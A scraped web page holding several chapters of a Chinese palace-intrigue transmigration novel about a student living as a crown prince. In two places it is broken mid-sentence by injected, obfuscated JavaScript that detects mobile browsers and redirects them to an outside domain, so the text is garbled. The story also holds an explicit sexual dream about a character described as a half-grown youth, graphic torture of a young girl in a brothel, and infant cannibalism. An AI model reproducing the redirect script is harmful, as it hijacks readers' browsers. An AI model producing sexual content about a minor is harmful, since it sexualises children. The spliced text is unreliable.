然后,玉屏看见萧鸿雪勾了勾唇角,讥讽地一笑,他道:“他爱同哪个男人亲近与我何干?我又不是他的男宠,不会为他拈酸吃醋,幽闺自伤。” 然后,他薄唇翕动,冷冷地吐出了几个字: “他也配。” 玉屏听清萧鸿雪的话后,环顾四周,神情骇然,结结巴巴地说道: “公子你……你怎么敢这样嘲毁太子殿下,若是传出去了,恐怕性命难保。” “传出去……怎么会传出去呢?” 萧鸿雪笑了,声音很轻,带着一种蛊惑的意味。他松开掌中那段梅枝,见苍白的指掌被花汁浸红了,自怀中取出一条素绢,慢条斯理地擦拭着。 “你不会说出去的,对吗?” 玉屏闻言有些迟疑,轻轻蠕动着嘴唇,但萧鸿雪一眼也没有看她,似乎毫不在意她的回答。 他将那条绢巾随手扔在一旁的雪地上,悠悠踱步至梅树后。 一阵挟着雪的寒风吹过,拂落了几朵梅花。 萧鸿雪纤白的手指漫不经心地转动着袖中的匕首,突然,只听得一声金石鸣响,他将那柄匕首轻轻向外掷出—— 宫人们转头望去,看见那柄匕首将一瓣血红的落梅死死地钉在了十米开外的柱子上,匕身嵌入柱木一指深。 原本人声嘈杂的院落瞬间安静下来,一时间,只能听见飞雪簌簌的声音。 16. 绮梦 贺萦怀被命为太子舍人当晚,回了一趟宣阳坊别院,向母亲陈说了自己要去东宫上任的决定。 宁国侯夫人很是疑惑,为何自家这个向来冷情冷性的孩子只是入了一趟宫,回来就对太子殿下死心塌地了,怕他是一时意气,几番殷劝他和自己回扬州。 但贺萦怀志意已决,怎么也劝不动。宁国侯夫人抚着儿子的脊背叹了口长气,叮嘱他伴君如伴虎,须得万事谨慎云云后,便也由他去了。 这时夫人的身体已近痊愈,决定带着侯府其余人为故宁国侯扶枢还扬州。 杨惜与贺萦怀一同在京郊送走宁国侯夫人一行人后,共乘一车回了东宫。 路上,杨惜望着按剑坐在自己左侧,一副不苟言笑的冷淡表情的贺萦怀,心想果然是大难不死必有后福啊! 虽然差点丢脸地死在一个新手村的支线任务中,但不知是谁给了他一张复活卷轴,他这个小炮灰配角不仅在出生点满血刷新,还因为在火场的那一跳直接把贺萦怀攻略成功了。 贺萦怀师从江南名侠,剑术卓绝,素有“姑苏一剑”之美称。就算以后萧鸿雪真想把自己给片成毛毛虫面包,让贺萦怀直接带着自己跑路好像也不是不行啊! 想到这儿,杨惜勾起唇角,露出了一个发自内心的笑。但是这笑的时间过分久长了,在旁人看来,只怕是有些诡异。 “殿下一直望着臣笑什么?” 贺萦怀疑惑地看着杨惜,探手抚了抚自己的脸颔。 “臣脸上可有什么不妥?” “没有……本宫只是想起了高兴的事情。” 杨惜回过神,正了正色,轻轻拍了一下贺萦怀的肩。 回到显德殿后,杨惜命宫人将贺萦怀安顿在距离自己寝殿最近的一个院中,然后照例踱去碧梧院给萧鸿雪“请安”。 杨惜现在把每天去烦一下萧鸿雪,瞻仰一下未来邪魅狷狂的燕武帝年轻时粉雕玉琢的姿容视作像上班打卡一样风雨无阻的事。 不知怎的,萧鸿雪今日心情似乎格外不佳,虽然他往日待杨惜也很冷淡,但不至于连门也不给开,不过今日,杨惜结结实实地吃了一碗闭门羹。 杨惜站在门外挠了挠头,很是疑惑。 他找来伺候萧鸿雪的宫女玉屏,问道:“奇怪,谁惹他了?” 玉屏想起梅树下萧鸿雪的无声威胁,心有余悸,摇了摇头,紧闭着唇,一句话没敢说。 即便这样,杨惜仍旧不死心地站在门外,像台不停发送骚扰短信的机器一样扒着门扇朝屋内说话。 “阿雉,你给兄长开开门啊,是不是有谁给你脸色看了,你和兄长讲,兄长教训他们去!” “阿雉,你今日按时喝药了吗,背上的伤可好些了?绷带要勤更换,不然会发炎的……” “阿雉,你的被褥暖和吗,显德殿的饭菜可还吃得惯?” …… 杨惜一通死缠烂打,讲累了就停下来歇一会儿,萧鸿雪每次以为他已经离开时,杨惜的声音又在门外幽幽地响了起来。 到后面,杨惜的声音渐渐细弱,萧鸿雪已经听不清他讲话的内容了,只能模模糊糊地听见他喊:“阿……雉……” “好吵。” 萧鸿雪蹙着眉,冷淡地轻语了一句。 倒是屋内的锅巴,自听见杨惜的声音起,就从萧鸿雪脚边跑到门前,隔着门朝杨惜兴奋地转圈,呜呜汪汪地回应着杨惜,很是亲热。 萧鸿雪静静地瞥了一眼某只冲着门扇狂摇尾巴的“叛徒”小狗,转过头继续看书。 许久后,外面彻底没有动静了,萧鸿雪将门打开一条缝。 萧鸿雪望见杨惜有些发颤的背影,他来时没有打伞,肩上覆着一层雪,看来在门外站了挺久,实在冷得撑不住,才转身离去了。 臭男主,心够狠的啊……我站在雪里用这副本来就哑的嗓子喊了这么久都没反应。 杨惜朝自己被冻得通红的两手呵气,忿忿地想。 不过也对,若萧鸿雪心不狠,自己也不会怕他怕成这样了。 回到寝殿时,杨惜已被夜雪淋得手脚俱僵,他解下大氅搁到一旁,浑身发抖地钻进了自己的衾被中。 待身体稍暖了些后,他才昏昏沉沉地睡了过去。 这晚,杨惜做了个梦。 梦里,宁国侯府前院烧着焮天铄地的大火,黑烟滚滚。杨惜跃入火中后,四肢百骸都被灼烧得剧痛无比,身上那张画皮几乎顷刻就化作了灰烬。 浓烟呛进杨惜的喉腔和肺部,他喘不上气,眼前发黑,痛苦地惨叫着…… 耳边是同在大火中挣扎的毒尸们的咆哮。 就在杨惜浑身都被烧得皮开肉绽,要彻底失去意识时,他的身体被一团柔和的白光裹住了。 白光内似乎充盈着冰凉的水汽,这些水汽沁入杨惜被烧成黑炭色的身躯,慢慢修复着他的筋肉和肌肤,将他体内的毒素袪尽。 杨惜的烫伤很快痊愈了,只留下几痕淡粉色的烫疤。 杨惜朦朦胧胧地睁开眼,发现自己被一个身着黑色斗篷的人轻柔地抱了起来。 那人周身散发着柔和的白光,一头白发长到曳地,脸被斗篷严严实实地遮住。任杨惜怎么努力昂起脸也看不清他的五官,只能勉强看见那两片苍白的薄唇。 虽然是被他抱在怀里,但杨惜丝毫感受不到那个人的肢体实感,他觉得自己更像是被一团雾气给托举着,漂浮在空中。 杨惜低下头,愕然地发现斗篷人抱着自己的这双手臂上满是用刀划出的细长血口,密密麻麻,十分狰狞可怖。 斗篷人俯下脸,靠在杨惜耳旁说了些什么,但杨惜一个字也没听清。 然后,杨惜眼前的画面陡然一转。 红纱帷帐,满室旖香。 “哥哥……” 少年人青涩而略显沙哑的呻吟听得杨惜面红心跳,杨惜低头一看,发现自己的双手正搂着萧鸿雪那细得仿佛可一臂而揽的瘦腰。 而萧鸿雪正抿着薄唇,眼神迷朦地在自己身下承欢。 萧鸿雪身上只盖着一件白色狐裘,白皙的肩头、纤白柔腻的手臂和小腿自狐裘中若隐若现地露出,手指将床褥抓出了褶皱。 “哥哥……阿雉疼……” “别怕,我轻些。” 杨惜深吸一口气,低下头,在漫天漫地的温香中与萧鸿雪抵死缠绵,载浮载沉…… * 萧鸿雪一夜未眠,看书到天明才吹了灯,合上书卷。 他刚打开门,锅巴就冲了出去,一溜烟跑没影了,在雪地上留下一串梅花印。 萧鸿雪鬼使神差地走到了杨惜寝殿外,宫人们见是他,纷纷识相地没有阻拦。 萧鸿雪心想自己背上的鞭伤已经结痂了,就这么没名没分地呆在东宫不知还要惹来多少闲话和非议。 他打算回昭王府,但思及若无手诏,皇宫不能随意进出,既然已经来到太子的寝殿外,索性直接说清楚,让他放行。 萧鸿雪抬起手,正欲叩门,突然听得屋内隐隐约约传来一阵饱含情欲的旖旎声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824243|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音,手顿在了空中。 “哈……阿雉……” 萧鸿雪怔了怔,他到底是个知晓人事的半大少年了,很快就反应过来屋内发生着什么——太子在念着自己的名字自渎。 那声音听得萧鸿雪心尖一颤,胸口涌起一阵无名情绪,他蹙紧秀眉,极其嫌恶地转身离开了。 “呵……死性不改。” “恶心。” 萧鸿雪走后,榻上的杨惜悠悠转醒,望着被褥上和自己裈裤上那一片淋漓的污痕,回忆起昨天后半夜那个过分荒唐的绮梦,有些崩溃。 虽然在梦里是上面那个让他很满意,但是踏马的,他的幻想对象不是身姿窈窕的翩翩少女,而是萧鸿雪……这对吗? 到底是原主的记忆和原主对萧鸿雪的情愫在作祟,还是他自己对萧鸿雪就…… 杨惜感到十分困惑。 他活了二十年,虽然恋爱史一片空白,但他从未像今天这样怀疑自己的性取向。 以前他一和女孩子讲话就会紧张脸红,要是人家冲他笑一笑,他的脸能一直红到耳根。 他一直坚定地认为自己喜欢女孩子。 可想起昨夜那个绮靡的梦……杨惜动摇了。 不应该啊……难道我真的贪恋萧鸿雪的美色,想睡他,所以日有所思夜有所梦了? 难道我真的是给子?我是吗? 杨惜望着帐顶,长长地叹了口气。 * 贺萦怀晨起后就在院中练起了剑。 转眼一个时辰过去,他的额边已渗出了细汗,鬓丝也被汗水打湿了。他最后挽了个剑花,利落地收剑回鞘。 “好剑法!” 一个碧衫少年笑着朝贺萦怀走了过来。 今早天候转暖,晴阳高照,日光将那少年秀气的五官晕得愈发柔和,他衣上也落满了银片似的烁烁亮光。 贺萦怀转头望去,看见那少年纤长浓密的眼睫下两片发黑的青记,愣了愣,问道: “殿下,昨夜没休息好?” 杨惜随意地摆了摆手,道:“在梦里被一个漂亮女鬼吸了精气。” 贺萦怀:“……?” “今日本宫要去辟雍学宫上课,但本宫已经旷课半月有余,柳博士又是出了名的古板严厉,恐怕本宫一出现在课室门口就要被博士的书简砸破头。” “所以本宫要把你也带去陪读,萦怀,你随时准备‘护驾’。” 杨惜自然地伸臂,勾过贺萦怀的肩。 贺萦怀望见了杨惜手臂上的烫疤,怔了怔,心想杨惜这旷课的半月里,估计多数日子都是因被他们宁国侯府的尸疫所累,在养伤吧…… 想到这里,贺萦怀心里极不是滋味,决心要为杨惜赴汤蹈火,应道:“殿下要臣砍书简……还是砍博士?” 杨惜:? 杨惜看着贺萦怀面上严肃的表情,不像是在开玩笑,愣了愣。 没想到我们小贺哥还是个暴力分子哈…… “不至于不至于,他要砸本宫头的时候你拦着点就行。” “……好。” “博士年老体迈,你拦他的时候也注意点分寸。” 杨惜不放心地叮嘱道。 两人说话间已经走过了碧梧院。 萧鸿雪抱臂斜倚着门框,望着眼前那两个并肩而行的身影,果然如传闻那般亲密无间,他挑了挑眉,冷笑了一声。 “谁?” 贺萦怀敏锐地转过身,却没看见人,只看见一片白色的衣角快速掠过。 17. 风月 “长安平康里,风流薮泽地。小楼绮窗三千户,大道青楼十二重…… ”[1] 平康里是长安最大的风月场,素以秦楼楚馆、莺梭织柳而名天下。而若要从这温柔富贵之乡里择出最温柔富贵之地,非醉红楼莫属。 靖北侯世子贺兰月甫一迈过醉红楼的门槛,老鸨就摇着一把团扇迎了上来。 老鸨望着眼前这个身着一袭云纹玄袍、身材修长健硕的少年人,轻挥了一下手中的绢帕,笑得有牙没眼。 “嗨哟,世子爷,可有段时间没见着您啦,姑娘们想您得紧呢……今儿还是照例要如意来作陪么?” 贺兰月闻到了那绢帕上浓郁的脂粉香气,蹙起了眉,指尖摩挲着手上的玉扳指,没有说话,只微微颔了首。 “得嘞,你们去请如意姑娘,把最好的佳酿送到世子常去的那间天字房。世子爷身份尊贵,都给我好生伺候着!” 老鸨转身吩咐楼里的小厮,然后对贺兰月谄媚一笑: “世子爷里边请——” 醉红楼前厅富丽堂皇,舞姬翩翩作舞,乐师琴韵悠扬,花瓣和金粉漫天而落。 贺兰月将落在肩上的金粉掸去,拾级登楼。 片刻后。 帷纱飘晃,烛影摇红。 如意身披薄纱,大片白皙的肌肤裸露在外。她半跪在一张软毯上,身段娇柔,唇间衔着一只金杯,眼波顾盼间,尽态极妍。 “爷……请用酒。” 贺兰月望着如意,没有动作,冷白的指尖一下一下敲击着案几。 “如意,你知道为何在醉红楼这千娇百媚的美人丛中,我独独偏爱你一个吗?” “因……因为爷钟意奴家的脸?” 如意将唇间的金杯取下,抬首望向一旁的铜镜。 她额心一点朱砂,眼眸翠绿如玉石,眼尾边还生着泪痣,在烛火华光的映照下,显得分外美艳动人。 “奴家是不是和爷钟情的姑娘长得十分相似……爷每次和妾奴家欢好时,都让奴家自称‘凤皇’……” 如意也困惑这个问题许久了,见贺兰月主动提起了这个问题,她咬了咬唇,鼓足勇气抬头问道。 “奴家并不在意被视作他人替身,但奴家实在有些好奇,这位‘凤皇’姑娘是何人,爷您是不是钟情她而不得,才……” 贺兰月轻笑一声,慢慢踱步到如意身前。 “你错了。” 他眯起眼,掐着如意的下颔向上一抬。 “不是姑娘。” 如意愣了愣,然后反应过来他话中所指。 “我对他也不是钟情,而是由衷的……厌恶。” “你这张脸生得实在太像我厌恶至极,却又奈何不得的那个人了。” 贺兰月眼前浮现了萧成亭的面影,冷笑一声。 “看着这样一张脸在我身下呻吟雌伏,哭喊‘世子饶过凤皇’吧,我就觉得——无比痛快。” 贺兰月见如意眸中水光闪烁,一副楚楚可怜的模样,心情愉悦。 他指腹抚了抚如意额心那点亮红的朱砂痣,低喟一声,将她按倒在软毯上,二人紧密地交叠在一处,缠绵起来…… 事后,贺兰月用如意打来的洗脸水拭过脸,估摸着辟雍学宫早课的时辰快到了,披起衣袍。 他离开醉红楼时,见老鸨正在教训一个身量瘦小的雏妓。 “你这个下贱的小蹄子,因你那情郎家境贫寒,拿不出赎身钱,你又心悦于他不愿再接客,便想着索性为他吞金守节,死在我醉红楼么……” “蠢货!你死了,你那情郎保准过两月就移情别恋,将你忘得干干净净,老娘干这行干了快半辈子,这种事还见得少么?” “而且我告诉你,你的卖身契在老娘手上,命是老娘的,就该给老娘干到死,你想自尽就自尽?” “老娘每天好吃好喝地供着你们这些姑娘,为了保你们肌肤娇嫩,粗重的活计一点不让你们碰,连盥盆里的洗面水都有下人给倒,可你就是这么回报我的?” 老鸨紧紧地掐住面前那个少女的面颊,那少女被吓得脸色惨白,浑身发抖。 老鸨发现她在房中吞金后,命小厮不停地给她强灌冷水,灌得她腹部高高隆起,像一只随时会的爆裂开来的水球。 此时那少女腹部难受得似炭火燎,面色发紫,一声也不敢吭。 “三年前老娘手上就这么折了个花魁,有恩客肯出千两白银与她同寝,她却放着大好前程不要,和情郎约着堕江殉情!” “晦气东西,老娘培养她这么多年,把她教得琴棋书画无一不擅,花名冠盖京华,不知耗费了多少心血精力,一夕之间全部打水漂了!” “你想效仿她啊?想都别想!我醉红楼里要尽是些你们这样的痴情种,老娘还吃不吃饭了?” 楼上许多刚伺候完恩客晨起盥洗的姑娘听见动响,打着呵欠走出厢房,站在栏杆边悄悄围观。 老鸨想着正好以儆效尤,立个典型,遂命人把一只狸猫放入少女的衣裙里,然后束紧她的裙摆。 这是醉红楼教训姑娘的旧规,因为怕把人打坏了没法再接客赚银子,姑娘受罚时,小厮会用木棍用力抽打她衣裙里的猫,却不往人身上招呼。 狸猫被打痛了,会疯了似的在姑娘身上四处狂蹿乱挠,这可比直接用棍棒打她要折磨得多……这种罚人的方式实在老道又狠辣。 “不,不要……啊!” 那少女撕心裂肺地惨叫起来,吓得楼上的姑娘们都不忍地闭上了眼。 老鸨慢条斯理地啜了口身边小厮递来的茶水,道:“现在知道痛了?你吞金的时候就不痛吗?痛了好,痛了才长记性!” “入了醉红楼还想当烈女,说出去真是笑死人了。” 贺兰月淡淡地瞥了他们一眼,走出了醉红楼。 * 辟雍学宫。 课室的四角都放着火钵,燃得正旺的白炭噼啪作响。 柳绩手执一卷经论,端坐在书案旁。他不言不语,阖眼养神。 杨惜带着贺萦怀悄悄溜进课室,两个人蹑手蹑脚地找了个位置并不显眼的书案并排坐下。 坐在第一排的二皇子萧明期看见杨惜进来,没什么表情,朝他点了点头,目光又落在书本上了。 而四皇子萧幼安坐在杨惜和贺萦怀身后的座位,把玩着手中的狼毫笔,望着坐在杨惜身边的贺萦怀若有所思。 萧成亭那草包什么时候和宁国侯世子有了往来,贺萦怀甚至还为了那草包放弃出任州牧,甘愿屈就一个小小的太子舍人? 前几日自己去显德殿“看望”那草包时,还无意间发现他双臂上都是烫伤的疤痕,而宁国侯府大火也正是那段时间…… 自己派去监视那草包的人并没有发现他的行踪有何异常,但这恰恰是最不对劲之处。 萧成亭和贺萦怀只在接风宴上见过一面,私下并没有什么接触,萧成亭纨绔草包的为人又是出了名的,根本没有让人一见就为之折服的人格魅力可言。 他只是陪贺萦怀在宫里转了转,就让那个性子冷淡高傲的贺萦怀对他死心塌地了?怎么可能呢? 这其中肯定有什么隐情。 姑苏贺氏本就是扬州的望族,又因家主贺钦与当今圣上乃是竹马之谊,圣上登基后,贺氏自然水涨船高,如今已是扬州第一大族,其势不可小觑。 可萧成亭居然能在自己眼皮子底下悄无声息地争来贺氏的支持…… 夺嫡之争自古凶险非常,出现一点变数都可能直接影响成败。看来,有必要再去好好试探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“殿下身为储君,罔顾学业也就罢了,还不知去哪里学了这般阿谀奉承的油腔滑调,如何能做大燕万民表率?” 柳绩面沉似水,捋着白须道: “殿下半月未来学宫,积留下了许多策论作业,有劳殿下今日之内悉数完成。殿下既然有半月不上课的底气,想必这二十篇策论也定然不在话下吧?” “好了,臣还要讲经呢,殿下写策论需要清净的环境,还请移步隔壁的藏书室。” 夺,夺少,二十篇策论? 擦,这老头还真伸手打笑脸人啊…… 杨惜面色一僵。 但他很快想起古文篇幅向来短小,自己虽然上课时经常摸鱼,但好歹也是历史专业科班生,也算专业对口了,东裁西碎一下古人的治国策略,应该也不算太麻烦。 想到这里,他心情平和地拿着笔砚和几卷空竹简站起,准备走出课室。 整个课室的同砚俱是一愣:这还是之前那个蛮橫跋扈的太子殿下吗? 照他以往的作风,不是应该直接和博士干起来了吗,怎么今日不仅答话时舌灿莲花,被博士重罚了也如此心平气和? 萧幼安明显也注意到了这一点,用探究的眼神望向杨惜。 杨惜以为萧幼安是关心自己,摆摆手,表示自己没事。 贺萦怀起身跟在杨惜背后,轻声道:“臣随殿下一起去,臣的策论水平尚可。” 言下之意,他能当太子殿下的代写枪手。 哇,好感动,小贺哥,离了你谁还把我当小孩! 杨惜腾出一只手,拍了拍他精实的胸膛,道:“好兄弟。” 身材也挺结实的——我什么时候能把萧成亭的这副细狗身体练成这样啊? 杨惜在心中感叹道。 他和贺萦怀两人一前一后出了课室,向藏书室走去。 18. 贵卿 两个时辰后,火钟内的香火将纱线烧断,线尾的铜球落在铜盘中,一声脆响——学宫散学了。 课室内的世家学子们纷纷起身收拾书囊,三三两两地向外走去。 他们路过藏书室时,瞥见杨惜和贺萦怀二人正埋着头奋笔疾书,于是兴致勃勃地议论起今日课堂所见。 “柳博士果真是清正不阿啊,这么多人看着呢,他竟然毫不顾忌太子殿下的颜面,当众发火痛斥他不说,还罚太子殿下一日之内完成整整二十篇策论,啧啧。” “博士毕竟是两朝帝师了,他学识渊博,德高望重,为人古板严厉也是出了名的。先帝和当今陛下都对这位当世鸿儒敬之畏之,何况太子殿下呢?” “饶是殿下那样桀骜不逊,旷了小半月的课,可重返学宫后,博士执意要重罚他,他不还是只能听博士的话,乖乖到藏书室赶工么?” “只是可惜柳博士这一世清誉啊,最后竟被他的独孙柳梦书给毁了。” “柳家虽算不上什么显赫高门,好歹也是世代书香的清贵人家,读书人把声名清白看得比命还重要,谁成想这位柳小公子居然在为陛下侍茶时献媚勾引,二人睡到了一处去,后来就被陛下带回宫去做了什么贵卿!” “真是毫无文人风骨可言……不,岂止是没有风骨,简直是枉顾人伦纪法,自甘下贱!” “枉他读了这么多年的儒道经书,竟将书中的礼义廉耻都抛尽了,这样处心积虑地爬上陛下的榻。明明凭他那顶好的模样和学识谈吐,即使这辈子毫无建树,好好守着学宫,也能安然过一世,怎么就……” “陛下虽为他开了本朝头一位男妃的例,可这男妃名义上是身份尊贵的后妃,实际地位却像那些奴颜婢膝的兔爷小倌、通房男妾一样,比之一般的娼妓姨娘之流,还要下贱许多,令人不齿。” “可怜博士在学宫教了一辈子的书,桃李门生遍布天下,到头来却没能把自个儿的独孙教好,沦为天下笑柄,一把年纪了还要被人戳着脊梁骨耻笑,头发都白了不少。” 几人皆摇了摇头,一阵叹息。 “欸……你们说,男人和男人那什么,究竟是何滋味呀?” 这时,其中一人用手肘拐了拐身旁的人,笑得暧昧。 “这谁知道呢,我又不是断袖!” “不过,想必也是销魂得紧吧,不然那柳小公子怎么上赶着去邀寝陛下呢,啧啧啧……柳博士的儿子去得早,就留下了这么一个独孙,却是个‘有根儿似没根儿’的贱蹄,柳家的香火算是断在他这里了。” 另一人语调狎昵地答道,手臂还探上同伴的腰,轻轻掐了一把。 “小郎君,我看你有几分姿色,你想不想和我试试啊?” “去你的,我可不是柳梦书那种人,对男人没兴趣。” 被掐的同伴笑着用书简砸了他一下,几人说说笑笑地走远了。 杨惜刚写下一句“故务民于农桑,薄赋敛,广畜积”[1],正咬着笔杆苦苦回忆着晁错那篇《论贵粟疏》余下的内容,听罢那些世家子弟的议论后,他抬起头,和贺萦怀尴尬地对视了一眼。 如果没猜错的话,那些人背后蛐蛐的,应该就是那位在冬至时亲手做了饺饵送给阖宫品尝的柳贵卿了。 杨惜心想这些人用词实在太过激进了,虽然柳梦书的行为听上去确实挺令人讶异的,但焉知他不是对睿宗一见钟情了勇敢求爱呢? 封建社会果然可怕,如果连这都要被批判得这么体无完肤,那他们这盛产断袖的老萧家岂不是罪该万死了? 连他自己昨晚都还做了个香艳至极的断袖梦呢…… 杨惜回想起梦中萧鸿雪那惑人心魄的模样,喉咙一阵发干,但他很快摇了摇头,继续埋头默写。 虽然当年期末周熬夜狂背专业课很痛苦,但好在以前考过类似的题目,他对一些经典的政论散文还有些印象,再结合自己的理解半裁半原创的,一篇策论就成了。 这个架空朝代又没有查重,不就是二十篇策论吗,洒洒水啦—— “殿下的字骨力遒劲,这篇《论贵粟疏》的水平也极高,看来方才臣说要助殿下写策论,实在过于自大了。” 贺萦怀将杨惜放在一旁晾墨的竹简取来细细读过后,眼前一亮,由衷赞赏道。 “夸得好,其实本宫不仅是金玉其表,更是金玉其中!” 杨惜没有抬头,毫不谦虚地应了一句,继续专心致志地做着“裁缝”工作。 开玩笑,他这一手毛笔字是被他爷爷抽手心给生生抽出来的,能不好吗? 老爷子因为腿脚不便,退休后也不出门去给人看诊了,成天在家守着杨惜和杨忱这两兄弟。 他虽然有心把自己的中医衣钵给传下去,奈何这两兄弟都志不在此,学得有一搭没一搭的。 老爷子无可奈何,改授书法和国学了,杨惜学这两样倒是颇有天赋,但是喜欢耍懒,因此没少被老爷子收拾。 小时候挨过的手板,直接造就了杨惜这个铁血文科生。 至于这篇原创比例略低的《论贵粟疏》嘛……反正连这朝代都是架空的,他能默写下来那也算是他的本事,想来晁错老先生也不会和他计较。 就这样,杨惜面不红心不跳地接受了贺萦怀的赞美,他道:“萦怀,你再帮本宫润色一下文辞,本宫要交上去惊柳老头一艳,从此摇身变成他的爱徒——他要是知道本宫写的策论什么样,还忍心骂本宫吗?” 贺萦怀点了点头,正要提笔,忽听得一道有些嘲讽的声音在书室门口响起。 “呵……我们‘天资英奇’的凤皇殿下,怎么写个策论还要假他人之手?” “天资英奇”是当年睿宗册萧成亭为太子时所颁诏书上的赞语,这人刻意提及这个词,讽嘲意味极其明显,若是原主听见这话,早冲上去和他干起来了。 但是很可惜,作为穿书者的杨惜压根没想到这一层,他满不在乎地看了那个站在门口的玄衣少年一眼,又埋头默写策论了。 杨惜知道这人的敌意不是冲自己来的,心想原主的人缘可真够差的,被罚得这么惨还有人专门跑来嘲笑他。 贺兰月气定神闲地倚着门框,本已做好与萧成亭唇枪舌战几番的准备,谁知萧成亭根本不搭理他。 贺兰月感觉十分奇怪。 半个月不见,萧成亭这是……转性了?这都忍得住不还嘴? 他摩挲着手上的玉扳指,眼神一暗。 贺兰月方才也坐在课室里,他自太子走进课室那刻起,目光就没有离开过他。 他和太子是长安出了名的一对冤家死对头,每次见 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“你要是真的闲得慌呢,就过来帮本宫写一篇,本宫记你的情。” 他托着腮,笑眯眯地冲贺兰月眨了眨眼睛。 * 御书房。 睿宗自下朝归来就一直在此处理案头的奏折,此刻已有些疲惫,他揉了揉眉心,正准备端起一旁的茶盏啜饮,在他身边伺候了多年的裴内侍突然神色慌张地走了进来。 “陛……陛下。” 裴内侍的声音有些颤抖,他抹了抹额头的冷汗,向睿宗行了一礼。 睿宗奇道:“怎么了?” “陛下您可一定要做好心理准备,这件事实在是……” “无碍,你讲就是。” “您之前派奴婢送去太医署的那碗饺饵……” 裴内侍脸上是一幅悚然的表情,他猛咽了一口唾沫,道:“新院判赵太医先验看过,他认为确实如昭仪娘娘所言,饺饵馅儿是人……人肉。” “但他听说这碗饺饵的由来后,认为兹事体大,不敢妄断,于是多费了些时辰,传交太医署上下的医官一起看过,还请了大理寺的仵作来检验。” “经过商榷,他们一致认为那饺饵里的馅儿就是人肉,而且是刚出生不久的婴胎的肉,甚……甚至还混有胎盘……” “什么?” 睿宗手中的茶盏倏然落地,瓷片飞溅,茶水泼了一地。 裴内侍赶忙取出绢巾,为睿宗擦拭龙袍上的茶渍。 睿宗愣了好一晌才回过神,想起那碗浮着菜叶的饺饵白汤,想起那曾经滑过自己唇舌与口腔上腭的,口感酸苦的黏软肉馅,想起神色癫狂地端着饺饵,痴痴呓念着“阿衡”的姜兮。 睿宗耳边似乎响起了一阵尖锐响亮的,山猫叫一样的婴儿啼哭声…… 他猛地一阵反胃,腹部抽搐起来,扶着案沿干呕了好一会儿。 “陛……陛下!” 裴内侍轻轻拍着睿宗的背,为他顺气。 睿宗面色灰白,身子斜斜瘫倒在御座上,过了许久,他艰难地挣起身,道: “宣旨,把柳贵卿……拘去慎刑司审问。” 19. 天命 “萧成亭,你脑子是不是磕坏了?” “你问我是谁?” 贺兰月不可置信地望向杨惜。 没听错吧,太子不仅不认识自己,还邀请自己帮他写策论?就他们俩这关系,他不冲上去把太子刚写好的竹简烧了都算是好的。 杨惜同样疑惑了。《燕武本纪》这部小说是以萧鸿雪为主视角的,萧成亭只算是一个爽点小配角,小卡拉米一只,一生只有给萧鸿雪下药、被萧鸿雪折断双腿两件事还算“轰轰烈烈”,其余的,小说里提都没提过。 除了他爹是睿宗,他娘是王淑妃,杨惜还真不太清楚萧成亭的社交关系网。 见杨惜半天没说话,贺兰月以为他是故意的,为的是气气自己,于是他踱到书案边,打量起杨惜,道: “我们凤皇殿下这脸色看着不大好啊,难道是昨夜美人榻上不胜力,体虚了,所以精神恍惚?” “难怪连我都记不得了。” 杨惜:“……” 不是,这尼玛又是谁啊,长着一副狼顾之相,一上来就跟前男友似的,讲话这么尖酸刻薄。 你知不知道上一个和本宫互喷的人坟头应该都长草了,啊? 贺萦怀见来者不善,沉了脸,正待发作,杨惜却轻轻按住了贺萦怀的手,示意他别动。 然后,杨惜弯眸,笑吟吟地对贺兰月说:“昨夜么……确实是位世间罕有的美人。” 美得原主萧成亭为之“折腰”又“断腿”的那种,哈哈。 杨惜顿了顿,有意恶心贺兰月一下,他托着腮,用暧昧的语调接着说道: “怎么,心肝儿,你吃醋了?” “看把你给急的,都寻到这里来了。放心,等本宫写完这些策论就好好陪陪你,本宫面色再差,满足你的气力还是有的。” 贺萦怀闻言惊异地看了杨惜一眼。 贺兰月听了这话先是一愣,反应过来后,简直气得要疯。 他身形晃了一下,薄唇微微发颤,怒剜了杨惜一眼,吼道:“萧成亭,你是不是有病?” “那倒没有,本宫好得很呢,不信的话,心肝儿你今夜亲自来本宫榻上试试?” 杨惜笑得轻佻,气定神闲地抱臂靠着椅背,悠悠道:“心肝儿,看你这么关心本宫,看来是对本宫有情啊。” “你不如就跟了本宫吧,本宫不嫌你性子泼辣。” 话一出口,杨惜自己都一阵恶寒,但面上笑意不减,他欣赏着贺兰月愤怒到扭曲的表情,心情愉悦。 既然穿着萧成亭的皮套,那就把他断袖纨绔的作风贯彻到底咯! 贺兰月深深吸了一口气,极力遏制着心中怒火。虽然他自己也是皇室血脉,可太子就是太子,储君身份在那里,总不能直接和他动手。 其实算起来,萧成亭是贺兰月的堂兄,两人确实很有些渊源。他们前后脚出生,尚在襁褓之中时,就会互揪对方小脸儿咯咯笑。 两人小时候一同扑蝶放纸鸢,好不亲密,后来年纪大些知事了,因为睿宗继位的事,昔日竹马一朝陌路,一见面就是互掐。 杨惜虽然是真的不认得贺兰月,但贺兰月听杨惜这样阴阳怪气地回应自己,只当他是故意装作不认识自己的,并没有起疑,愤怒地瞪了杨惜一眼,拂袖而去。 杨惜支颐看着贺兰月怒气冲冲地离去,笑了。 “小东西,嘲讽本宫?回去练练再来吧。” 这段小插曲后,杨惜不再说话了,吭哧吭哧地埋头赶工。 他和贺萦怀将那二十篇策论整整齐齐地交到柳绩手上时,已是申时。 但这对原主而言已是很不可思议的速度了,柳绩接过策论时还诧异地看了杨惜一眼。 杨惜笑眯眯地和柳绩道了别,然后和贺萦怀一起走向了已在学宫门口等候多时的车马。 这半天下来,杨惜手酸肚饿,他蔫蔫地坐在马车上放空自己。坐在一旁的贺萦怀难得见他这副安静模样,唇角染着笑意。 